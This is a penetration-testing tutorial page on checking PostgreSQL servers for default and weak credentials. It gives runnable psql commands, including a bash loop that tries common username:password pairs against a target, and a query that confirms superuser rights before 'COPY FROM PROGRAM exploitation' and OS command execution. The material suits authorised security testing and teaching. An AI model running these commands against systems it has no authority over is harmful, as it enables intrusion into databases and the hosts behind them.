Skip to content
HackIndex.io

PostgreSQL Weak and Default Credential Check

3 min read Created Mar 26, 2026 Last updated Mar 26, 2026

PostgreSQL installations frequently ship with the default postgres superuser account and a weak or empty password. Application deployments often use predictable credentials for their database accounts. Checking these before running a full brute-force is faster and quieter. A single valid credential against the superuser account gives full database access and typically leads directly to OS command execution through COPY FROM PROGRAM.

Docker-based deployments are especially prone to this. They often inherit environment variable defaults from compose files. Dev and staging environments are high-value targets. Fresh installs on Debian and Ubuntu set postgres with no password by default. Peer authentication restricts that to the local socket. Remote TCP access changes the restriction entirely. If pg_hba.conf allows password authentication for remote hosts, default credentials work without modification.

  • Test Default postgres Credentials
  • Confirm Privilege Level After a Hit

Test Default postgres Credentials

┌──(kali㉿kali)-[~]
└─$ psql -h $TARGET_IP -p ${PORT:-5432} -U postgres -d postgres -c 'SELECT version();' 2>&1
┌──(kali㉿kali)-[~]
└─$ PGPASSWORD=postgres psql -h $TARGET_IP -p ${PORT:-5432} -U postgres -d postgres -c 'SELECT current_user;' 2>&1

Test the most common default credential pairs manually before automating. A successful response returns output ending in (1 row). A failed attempt returns FATAL: password authentication failed. If the connection is refused entirely, pg_hba.conf may be blocking the source IP rather than rejecting credentials. Application-specific accounts matching the application name are also worth trying. These are often created with weak passwords and may hold sensitive data or escalation paths even without superuser rights.

┌──(kali㉿kali)-[~]
└─$ for cred in 'postgres:postgres' 'postgres:password' 'postgres:admin' 'postgres:123456' 'postgres:' 'admin:admin' 'admin:password'; do user=${cred%%:*}; pass=${cred##*:}; result=$(PGPASSWORD=$pass psql -h $TARGET_IP -p ${PORT:-5432} -U $user -d postgres -c 'SELECT 1;' 2>&1); echo "$cred: $(echo $result | grep -q '1 row' && echo VALID || echo invalid)"; done 
postgres:postgres: VALID

Confirm Privilege Level After a Hit

Once valid credentials are found, confirm the role attributes before proceeding to exploitation. The rolsuper column is the critical field. A value of t confirms superuser access. Check rolcreaterole and rolcreatedb as well. Those attributes allow privilege escalation paths even without direct superuser status.

┌──(kali㉿kali)-[~]
└─$ PGPASSWORD=$PASSWORD psql -h $TARGET_IP -p ${PORT:-5432} -U $USER -d postgres -c "SELECT rolname, rolsuper, rolcreaterole, rolcreatedb FROM pg_roles WHERE rolname = current_user;"

A superuser account proceeds directly to COPY FROM PROGRAM exploitation. A non-superuser account with CREATEROLE may be escalatable. See the privilege detection page for the full picture before choosing an exploitation path.

If all default credentials fail, verify whether the service accepts remote connections at all. A connection timeout or refused error means pg_hba.conf is blocking the source IP. That is a network issue, not a credential issue. A FATAL: password authentication failed error means the account exists and remote access is allowed. In that case, move to a wordlist attack. If the service only binds to localhost, remote authentication is impossible. A tunnel or foothold on the same host is required to continue.

References